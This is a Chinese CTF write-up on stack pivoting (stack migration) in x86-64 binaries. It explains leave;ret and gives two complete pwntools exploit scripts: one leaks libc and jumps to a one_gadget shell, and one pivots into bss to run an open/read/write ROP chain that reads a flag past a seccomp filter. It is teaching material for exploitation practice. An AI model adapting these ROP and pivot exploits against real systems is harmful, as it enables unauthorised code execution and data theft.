学习记录之栈迁移
趁着寒假这次的hgame和之前的pctf来总结一下栈迁移相关的内容
stack pivoting(也称栈迁移)是一种控制迁移栈顶指针rsp和栈帧指针rbp来达到自身目的的一种攻击方式
目的主要有两种
-
实现任意地址写
-
变相的增加栈溢出的字节数
对于栈迁移,关键在于指令leave;ret两个指令
leave等效于下面两个指令
mov rsp;rbp
pop rbp
ret等效于下面指令
pop rip;
在如下代码中(此为主函数)
buf= byte ptr -80h
__unwind {
endbr64
push rbp
mov rbp, rsp
add rsp, 0FFFFFFFFFFFFFF80h
mov eax, 0
call init
lea rdi, s ;
call _puts
lea rax, [rbp+buf]
mov edx, 90h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
call _read
mov eax, 0
leave #mov rsp;rbp pop rbp
retn #pop rip;
}
对于函数头中的
push rbp
move rbp,rsp
我们的leave指令可以看作是相反过程
leave中先把rbp的值赋给rsp,再将rbp弹栈,rsp的值-8
假设此时栈顶的值为0x1234,则rbp将指向0x1234
如果我们通过栈溢出漏洞将栈顶的值改为我们想要迁移的地址,则完成了rbp的迁移
但此时rsp还未迁移到想要的位置
我们只需要再进行一次leave,即将rbp修改后的值赋给rsp,即可完成rsp的迁移
因此我们进行栈迁移的思路即为
-
通过栈溢出将rbp劫持到一个可写入的段,通常是bss段,假设劫持地址是0x401101
-
然后返回到溢出函数的开始,再次进行一次leave将rsp迁移到0x401101
-
再次通过栈溢出将rbp迁移到我们想要的位置,如0x401201
即可完成rsp与rbp的迁移
在上述例题中,溢出量为0x10,难以构造rop,便考虑通过栈迁移来增大溢出量
假设bss头的地址为0x401010,溢出函数read的头为0x40401a
则我们可以通过以下脚本来完成栈的迁移
pl1 = b'a'*0x80+p64(bss+100)+p64(0x40401a)
p.send(pl1)
pl2 = b'a'*0x80+p64(bss+0x180)+p64(0x40401a)
p.send(pl2)
便可以将rsp指向0x401110,rbp指向0x401190
在bss段开辟出了一段80字节可供我们进行攻击的空间
例题1分析
主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
init(argc, argv, envp);
puts("easy rbp");
read(0, buf, 0x90uLL);
return 0;
}
函数较为简单,也存在明显的栈溢出漏洞,但溢出量仅有10字节,难以构造rop,因此考虑使用stack pivoting进行解题
题目分析
-
程序中不存在后门函数和flag字符串,考虑通过已有函数来泄露libc基址,通过动态链接来调用system("/bin/sh")
-
程序有明显的栈溢出漏洞
-
溢出量较小考虑使用栈迁移技术
主函数汇编码如下图所示
EXP
from pwn import *
context(os="linux",arch="amd64",log_level='debug')
elf=ELF("./rbp")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io=process("./rbp")
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
read=0x4011fd
rdi=0x401283
main=0x4011db
pay=b'a'*0x80+p64(elf.bss()+0x500)+p64(read)
io.send(pay)
pay1=b'a'*0x80+p64(elf.bss()+0x500+0x80)+p64(read)
io.send(pay1)
pay2=p64(elf.bss()+0x500+0x90)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(pay2)
puts_addr=u64(io.recvuntil(b"x7f")[-6:].ljust(8,b'x00'))
libc_base=puts_addr-libc.symbols['puts']
print(hex(libc_base))
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base+ogs[0]
r12=libc_base + 0x2f709
pay3=b'a'*0x80+p64(elf.bss()+0x500+0x100)+p64(read)
io.send(pay3)
pay4=b'a'*0x80+p64(elf.bss()+0x500+0x180)+p64(read)
io.send(pay4)
payload=p64(elf.bss()+0x500+0x190)+p64(r12)+p64(0)+p64(og)
io.send(payload)
io.interactive()
我们对exp逐段分析
第一段:解析文件,开启本地进程
第二段:分析各个变量以及函数地址,方便后续调用
第三段:首先通过栈迁移将输入内容迁移到bss+0x500位置处,来增大溢出量方便构造rop以及泄露libc基址,同时增大量与变量原有量0x80相同
第四段:在栈迁移的基础上进行libc基址泄露,输入的位置位于bss+0x500+0x90
第五段:进行libc基址的接收与打印(检验是否泄露成功),以及one_gadget的应用来构造rop,one_gadget的应用
第六段:再次进行栈迁移来增大溢出量
第七段:在bss+0x500+0x190位置出输入攻击数据(rop),发送并进行交互
one_gadget的使用
通过对libc文件的one_gadget来进行使用,如下图所示
使用one_gadget前要求所使用的寄存器内的值为null,使用前可通过gdb查看是否为0,不为0的话pop即可
假如我们向上述exp所示定义
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base+ogs[0]
则保证0x3afe对应的寄存器值为null
通过libc与one_gadget的配合,可以直接调用system(‘/bin/sh’),不用再输入函数地址
例题2
主函数如下
vuln(漏洞函数)如下图
题目分析
-
程序首先使用的沙箱保护,seccomp函数禁用了59号系统调用号,即execve
-
vuln函数中存在存在明显的栈溢出,溢出量为30字节
-
程序中无后门函数以及flag,/bin/sh等字符串
解题思路
-
通过栈溢出漏洞来泄露出libc基址
-
使用orw来输出flag字符串,即open,read,write函数
-
考虑到不存在flag字符串,需要我们自己输入一个flag字符串
-
考虑到溢出量仅为30字节,不足以进行orw,考虑进行栈迁移到可写的bss段
EXP
from pwn import *
p = remote('47.100.137.175',32644)
libc=ELF('./libc.so.6')
elf=ELF('./vuln')
bss=elf.bss()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x40101a
rdi = 0x4013e3
vuln = 0x40125b
pl1 = b'a'*(0x100+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.sendlineafter("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.n",pl1)
puts_real = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00'))
print(hex(puts_real))
libc_addr = puts_real - libc.sym["puts"]
print(hex(libc_addr))
rsi = libc_addr + 0x2601f
rdx = libc_addr + 0x142c92
openz = libc_addr + libc.sym['open']
readz = libc_addr + libc.sym['read']
writez = libc_addr + libc.sym['write']
pl2=b'a'*0x100+p64(bss+0x100)+p64(0x401276)
p.send(pl2)
pl3=b'a'*0x100+p64(bss+0x200)+p64(0x401276)
p.send(pl3)
pl4=p64(bss+0x210)+p64(rdi)+p64(0)+p64(bss+0x100)+p64(0x10)+p64(readz)
pl4+=p64(rdi)+p64(bss+0x100)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openz)
pl4+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x30)+p64(readz)
pl4+=p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x30)+p64(writez)
p.send(pl4)
sleep(1)
p.send(b'./flagx00')
p.interactive()
对exp进行逐段分析
-
解析文件,开启远程程序
-
分析各个变量以及函数地址,方便后续调用
-
进行libc基址的泄露并打印来检测泄露是否成功
-
控制orw要调用的寄存器值为null
-
通过动态链接库来获取open,read,write的地址。tips:函数名称勿与python中函数名称重复
-
通过栈迁移来增大溢出量来进行orw
-
进行orw来让程序输出flag字符串
-
进入交互模式
TIPS:第七段首行代码是调用c语言中read函数来让我们输入程序中本不存在的flag字符串,与后面输入的形成配合
p.send(b'./flagx00')
在c语言中,orw中open,read,write都需要三个参数才能使用,因此在调用前需要确保前三个传参寄存器的值为目标值,如第七段首行是为了将后续输入的flag字符串输入到bss+0x100处
原文始发于微信公众号(火炬木攻防实验室):学习记录之栈迁移(stack pivoting)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论